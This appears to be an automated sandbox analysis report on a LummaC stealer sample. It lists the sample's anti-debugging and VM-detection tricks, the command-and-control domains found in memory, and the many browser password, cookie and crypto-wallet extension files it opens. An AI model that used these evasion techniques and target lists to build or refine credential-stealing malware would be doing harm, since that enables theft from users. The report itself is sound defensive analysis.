Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80758 second address: 4C80794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 mov dl, ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c call 00007F8AE47DB012h 0x00000011 mov di, si 0x00000014 pop esi 0x00000015 mov eax, edi 0x00000017 popad 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8AE47DB014h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80794 second address: 4C807F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push edi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8AE4756605h 0x00000015 or ax, 5726h 0x0000001a jmp 00007F8AE4756601h 0x0000001f popfd 0x00000020 jmp 00007F8AE4756600h 0x00000025 popad 0x00000026 test esi, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8AE47565FAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C807F1 second address: 4C80800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80800 second address: 4C8082D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 jmp 00007F8AE4756600h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8B556E4194h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AE47565FAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8082D second address: 4C8083C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8083C second address: 4C80842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80842 second address: 4C808B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 pushad 0x00000013 jmp 00007F8AE47DB014h 0x00000018 mov eax, 6B8D4171h 0x0000001d popad 0x0000001e je 00007F8B55780C28h 0x00000024 jmp 00007F8AE47DB00Ch 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F8AE47DB00Eh 0x00000031 add esi, 1C811D78h 0x00000037 jmp 00007F8AE47DB00Bh 0x0000003c popfd 0x0000003d movzx esi, di 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C808B4 second address: 4C808BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C808BC second address: 4C80908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8AE47DB015h 0x00000009 xor ax, 88C6h 0x0000000e jmp 00007F8AE47DB011h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edi, ecx 0x0000001d jmp 00007F8AE47DB012h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80908 second address: 4C8091A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47565FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8091A second address: 4C8091E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80951 second address: 4C80982 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8AE4756604h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F8AE4756600h 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C809A2 second address: 4C80A3A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8AE47DB015h 0x00000008 adc cx, 7106h 0x0000000d jmp 00007F8AE47DB011h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007F8AE47DB010h 0x0000001a popad 0x0000001b pop esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F8AE47DB00Eh 0x00000023 jmp 00007F8AE47DB015h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F8AE47DB010h 0x0000002f jmp 00007F8AE47DB015h 0x00000034 popfd 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A3A second address: 4C80A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A3E second address: 4C80A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A42 second address: 4C80A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A48 second address: 4C80A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 82EB44 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D3961 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A55AA7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 3760	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5328	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4080	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.2139602125.00000000009AC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2137607532.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: file.exe, 00000000.00000003.2137607532.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140476340.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2139602125.00000000009AC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1695825975.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2139737284.00000000009EF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: E Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1794306168.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5016, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: s/Electrum-LTC
Source: file.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
